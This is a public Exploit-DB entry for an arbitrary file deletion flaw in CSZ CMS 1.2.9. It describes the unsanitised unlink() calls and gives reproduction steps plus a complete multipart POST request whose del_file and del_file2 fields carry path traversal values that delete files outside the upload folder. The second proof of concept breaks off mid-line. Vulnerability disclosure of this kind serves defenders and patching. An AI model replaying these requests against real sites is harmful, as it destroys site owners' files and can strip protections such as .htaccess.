Exploit-DB #50148
Description: CSZ CMS 1.2.9 - 'Multiple' Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2021-07-21
Author: faisalfs10x

Exploit:
# Exploit Title: CSZ CMS 1.2.9 - 'Multiple' Arbitrary File Deletion
# Date: 2021-07-20
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.cszcms.com
# Software Link: https://sourceforge.net/projects/cszcms/files/latest/download
# Version: 1.2.9
# Tested on: Windows 10, XAMPP
# Reference: https://github.com/cskaza/cszcms/issues/32


################
# Description  #
################

# CSZ CMS is an open source Content Management System web application that allows to manage all content and settings on the websites. CSZ CMS was built on the basis of Codeigniter3 and design the structure of Bootstrap3. When unsanitized user input is supplied to a file deletion function, an arbitrary file deletion vulnerability arises. This occurs in PHP when the unlink() function is called and user input might affect portions of or the whole affected parameter, which represents the path of the file to remove, without sufficient sanitization. Exploiting the vulnerability allows an attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints.


##########
# PoC 1  #
##########

Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/editArtSave
Vulnerable Code: line 116, 131 - cszcms\models\plugin\Article_model.php

Steps to Reproduce:

1. Login as admin
2. Goto Plugin Manager > Article > edit any article
3. Upload any image as "Main Picture" and "File Upload" and click save button
4. Click "Delete File" button for both "Main Picture" and "File Upload" and click save button
5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_file2"


1) Assumed there are files conf_secret_file.php and config_backup.txt in web root

PoC #1) param del_file & del_file2 - Deleting conf_secret_file.php and config_backup.txt files in web root

Request: 
========

POST /CSZCMS-V1.2.9/admin/plugin/article/editArtSave/4 HTTP/1.1
Host: localhost
Content-Length: 2048
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAMyATk1BfQaBOHvY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/artedit/4
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: last_views=a%3A3%3A%7Bi%3A0%3Bi%3A17%3Bi%3A1%3Bi%3A19%3Bi%3A2%3Bi%3A18%3B%7D; __atuvc=5%7C27; c4204054ab0d5b68399458e70744010b_cszsess=l9f1kpqohequemh1q3tt11j36hs99c25
Connection: close

------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="title"

article beta
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="keyword"

testing file
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="short_desc"

deletion
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="cat_id"

2
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="content"

<div class="row">
<div class="col-md-12">
<p>test for file deletion</p>
</div>
</div>
<p><br><br></p>
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="del_file"

../../../conf_secret_file.php
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="file_upload"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="mainPicture"

2021/[PII_REDACTED]_1.png
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="del_file2"

../../../config_backup.txt
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="file_upload2"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="mainFile"

2021/[PII_REDACTED]_1.png
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="lang_iso"

en
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="active"

1
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="fb_comment_active"

1
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="fb_comment_limit"

5
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="fb_comment_sort"

reverse_time
------WebKitFormBoundaryAMyATk1BfQaBOHvY
Content-Disposition: form-data; name="submit"

Save
------WebKitFormBoundaryAMyATk1BfQaBOHvY--

---



##########
# PoC 2  #
##########

Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/settings/update
Vulnerable Code: line 944, 958 - cszcms\models\Csz_admin_model.php

Steps to Reproduce:

1. Login as admin
2. Goto General Menu > Site Setting
3. Upload any image as "Site Logo" and "Image of og metatag" and click save button
4. Click "Delete File" button for both "Site Logo" and "Image of og metatag" and click save button
5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_og_image"


2) Assumed there are files conf_secret_file.php and config_backup.txt in web root

PoC #2) param del_file &